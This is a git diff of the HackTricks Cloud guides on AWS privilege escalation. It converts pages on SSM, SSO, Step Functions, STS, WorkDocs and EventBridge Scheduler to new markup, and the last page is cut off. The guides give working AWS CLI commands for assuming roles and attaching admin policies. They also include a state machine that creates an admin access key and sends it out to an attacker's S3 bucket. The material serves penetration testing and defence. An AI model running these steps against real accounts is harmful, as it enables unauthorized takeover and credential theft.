-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## SSM
 
 For more info about SSM check:
 
-{% content-ref url="../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
-[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
 
 ### `ssm:SendCommand`
 
@@ -63,9 +50,8 @@ aws ssm describe-sessions --state Active
 aws ssm start-session --target "$INSTANCE_ID"
 ```
 
-{% hint style="danger" %}
-In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
-{% endhint %}
+> [!CAUTION]
+> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
 
 **Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.
 
@@ -79,7 +65,7 @@ Therefore, users with `ssm:StartSession` will be able to **get a shell inside EC
 aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
 ```
 
-![](<../../../.gitbook/assets/image (185).png>)
+![](<../../../images/image (185).png>)
 
 **Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled.
 
@@ -139,21 +125,8 @@ aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
 
 You can also use SSM to get inside a codebuild project being built:
 
-{% content-ref url="aws-codebuild-privesc.md" %}
-[aws-codebuild-privesc.md](aws-codebuild-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-codebuild-privesc.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
similarity index 59%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
index cef6c3dc8..18ea35aeb 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
@@ -1,33 +1,19 @@
 # AWS - SSO & identitystore Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## AWS Identity Center / AWS SSO
 
 For more information about AWS Identity Center / AWS SSO check:
 
-{% content-ref url="../aws-services/aws-iam-enum.md" %}
-[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-iam-enum.md
+{{#endref}}
 
-{% hint style="warning" %}
-Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\
-Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\
-[Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
-{% endhint %}
+> [!WARNING]
+> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\
+> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\
+> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
 
 ### ~~Reset Password~~
 
@@ -37,17 +23,14 @@ An easy way to escalate privileges in cases like this one would be to have a per
 
 With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has.
 
-{% code overflow="wrap" %}
 ```bash
 aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
 ```
-{% endcode %}
 
 ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
 An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control
 
-{% code overflow="wrap" %}
 ```bash
 # Set an inline policy with admin privileges
 aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
@@ -68,13 +51,11 @@ aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn>
 # Update the provisioning so the new policy is created in the account
 aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
 ```
-{% endcode %}
 
 ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
 
 An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control
 
-{% code overflow="wrap" %}
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
@@ -82,17 +63,14 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-a
 # Update the provisioning so the new policy is created in the account
 aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
 ```
-{% endcode %}
 
 ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
 
 An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control.
 
-{% hint style="warning" %}
-To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected.
-{% endhint %}
+> [!WARNING]
+> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected.
 
-{% code overflow="wrap" %}
 ```bash
 # Set AdministratorAccess policy to the permission set
 aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
@@ -100,27 +78,22 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta
 # Update the provisioning so the new policy is created in the account
 aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
 ```
-{% endcode %}
 
 ### `sso:CreateAccountAssignment`
 
 An attacker with this permission could give a Permission Set to a user under his control to an account.
 
-{% code overflow="wrap" %}
 ```bash
 aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
 ```
-{% endcode %}
 
 ### `sso:GetRoleCredentials`
 
 Returns the STS short-term credentials for a given role name that is assigned to the user.
 
-{% code overflow="wrap" %}
 ```
 aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
 ```
-{% endcode %}
 
 However, you need an access token that I'm not sure how to get (TODO).
 
@@ -128,53 +101,32 @@ However, you need an access token that I'm not sure how to get (TODO).
 
 An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**.
 
-{% code overflow="wrap" %}
 ```bash
 aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
 ```
-{% endcode %}
 
 ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
 
 An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**.
 
-{% code overflow="wrap" %}
 ```bash
 aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
 ```
-{% endcode %}
 
 ### `sso:DeleteInlinePolicyFromPermissionSet`
 
 An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**.
 
-{% code overflow="wrap" %}
 ```bash
 aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 ```
-{% endcode %}
 
 ### `sso:DeletePermissionBoundaryFromPermissionSet`
 
 An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary.
 
-{% code overflow="wrap" %}
 ```bash
 aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
 ```
-{% endcode %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
similarity index 71%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
index 4084a2972..108dbcf3b 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -1,27 +1,14 @@
 # AWS - Step Functions Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Step Functions
 
 For more information about this AWS service, check:
 
-{% content-ref url="../aws-services/aws-stepfunctions-enum.md" %}
-[aws-stepfunctions-enum.md](../aws-services/aws-stepfunctions-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
 
 ### Task Resources
 
@@ -29,26 +16,24 @@ These privilege escalation techniques are going to require to use some AWS step
 
 In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in:
 
-<figure><img src="../../../.gitbook/assets/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
 
 Or you could also go to the API AWS documentation and check each action docs:
 
-* [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
-* [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
+- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
+- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
 
 ### `states:TestState` & `iam:PassRole`
 
 An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
 
-{% code overflow="wrap" %}
 ```bash
 aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
 ```
-{% endcode %}
 
 The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action:
 
-* **stateDefinition.json**:
+- **stateDefinition.json**:
 
 ```json
 {
@@ -61,9 +46,8 @@ The following examples show how to test an state that creates an access key for
 }
 ```
 
-* **Command** executed to perform the privesc:
+- **Command** executed to perform the privesc:
 
-{% code overflow="wrap" %}
 ```bash
 aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
 
@@ -80,7 +64,6 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
 	"status": "SUCCEEDED"
 }
 ```
-{% endcode %}
 
 **Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
 
@@ -88,7 +71,6 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
 
 An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine.
 
-{% code overflow="wrap" %}
 ```bash
 # Create a state machine
 aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -100,11 +82,10 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
 # Start a Synchronous Express state machine execution
 aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
 ```
-{% endcode %}
 
 The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions.
 
-* **stateMachineDefinition.json**:
+- **stateMachineDefinition.json**:
 
 ```json
 {
@@ -144,9 +125,8 @@ The following examples show how to create an state machine that creates an acces
 }
 ```
 
-* **Command** executed to **create the state machine**:
+- **Command** executed to **create the state machine**:
 
-{% code overflow="wrap" %}
 ```bash
 aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
 {
@@ -154,11 +134,9 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
   "creationDate": "2024-07-09T20:29:35.381000+02:00"
 }
 ```
-{% endcode %}
 
-* **Command** executed to **start an execution** of the previously created state machine:
+- **Command** executed to **start an execution** of the previously created state machine:
 
-{% code overflow="wrap" %}
 ```json
 aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
 {
@@ -166,11 +144,9 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
     "startDate": "2024-07-09T20:33:35.466000+02:00"
 }
 ```
-{% endcode %}
 
-{% hint style="warning" %}
-The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account.
-{% endhint %}
+> [!WARNING]
+> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account.
 
 **Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
 
@@ -183,21 +159,19 @@ Depending on how permissive is the IAM Role associated to the state machine is,
 1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough.
 2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition.
 
-{% code overflow="wrap" %}
 ```bash
 aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
 [--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
 ```
-{% endcode %}
 
 The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
 
-{% hint style="warning" %}
-If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached).
-{% endhint %}
+> [!WARNING]
+> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached).
+
+{{#tabs }}
+{{#tab name="Legit State Machine" }}
 
-{% tabs %}
-{% tab title="Legit State Machine" %}
 ```json
 {
   "Comment": "Hello world from Lambda state machine",
@@ -222,9 +196,11 @@ If the state machine does not have a permissive IAM Role associated, it would al
   }
 }
 ```
-{% endtab %}
 
-{% tab title="Malicious Updated State Machine" %}
+{{#endtab }}
+
+{{#tab name="Malicious Updated State Machine" }}
+
 ```json
 {
   "Comment": "Hello world from Lambda state machine",
@@ -258,12 +234,12 @@ If the state machine does not have a permissive IAM Role associated, it would al
   }
 }
 ```
-{% endtab %}
-{% endtabs %}
 
-* **Command** executed to **update** **the legit state machine**:
+{{#endtab }}
+{{#endtabs }}
+
+- **Command** executed to **update** **the legit state machine**:
 
-{% code overflow="wrap" %}
 ```bash
 aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
 {
@@ -271,21 +247,7 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
     "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
 }
 ```
-{% endcode %}
 
 **Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
new file mode 100644
index 000000000..5fc330366
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
@@ -0,0 +1,122 @@
+# AWS - STS Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## STS
+
+### `sts:AssumeRole`
+
+Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**).
+
+For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role.
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": "sts:AssumeRole"
+    }
+  ]
+}
+```
+
+You can impersonate a role running:
+
+```bash
+aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
+```
+
+**Potential Impact:** Privesc to the role.
+
+> [!CAUTION]
+> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\
+> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role.
+
+### **`sts:GetFederationToken`**
+
+With this permission it's possible to generate credentials to impersonate any user:
+
+```bash
+aws sts get-federation-token --name <username>
+```
+
+This is how this permission can be given securely without giving access to impersonate other users:
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Sid": "VisualEditor0",
+      "Effect": "Allow",
+      "Action": "sts:GetFederationToken",
+      "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}"
+    }
+  ]
+}
+```
+
+### `sts:AssumeRoleWithSAML`
+
+A trust policy with this role grants **users authenticated via SAML access to impersonate the role.**
+
+An example of a trust policy with this permission is:
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Sid": "OneLogin",
+      "Effect": "Allow",
+      "Principal": {
+        "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
+      },
+      "Action": "sts:AssumeRoleWithSAML",
+      "Condition": {
+        "StringEquals": {
+          "SAML:aud": "https://signin.aws.amazon.com/saml"
+        }
+      }
+    }
+  ]
+}
+```
+
+To generate credentials to impersonate the role in general you could use something like:
+
+```bash
+aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
+```
+
+But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
+
+```bash
+onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
+```
+
+**Potential Impact:** Privesc to the role.
+
+### `sts:AssumeRoleWithWebIdentity`
+
+This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
+
+For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like:
+
+```bash
+aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
+# The role name can be found in the metadata of the configuration of the pod
+```
+
+### Federation Abuse
+
+{{#ref}}
+../aws-basic-information/aws-federation-abuse.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
similarity index 79%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
index 56e02e600..8756dbf07 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
@@ -4,9 +4,9 @@
 
 For more info about WorkDocs check:
 
-{% content-ref url="../aws-services/aws-directory-services-workdocs-enum.md" %}
-[aws-directory-services-workdocs-enum.md](../aws-services/aws-directory-services-workdocs-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-directory-services-workdocs-enum.md
+{{#endref}}
 
 ### `workdocs:CreateUser`
 
@@ -44,8 +44,8 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
 
 ### `workdocs:AddUserToGroup`
 
-You can make a user admin by setting it in the group ZOCALO\_ADMIN.\
-For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage\_set\_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage\_set\_admin.html)
+You can make a user admin by setting it in the group ZOCALO_ADMIN.\
+For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
 
 Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin`
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
new file mode 100644
index 000000000..f2b28170a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
@@ -0,0 +1,49 @@
+# AWS - EventBridge Scheduler Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## EventBridge Scheduler
+
+More info EventBridge Scheduler in:
+
+{{#ref}}
+../aws-services/eventbridgescheduler-enum.md
+{{#endref}}
+
+### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
+
+An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action
+
+For example, they could configure the schedule to **invoke a Lambda function** which is a templated action:
+
+```bash
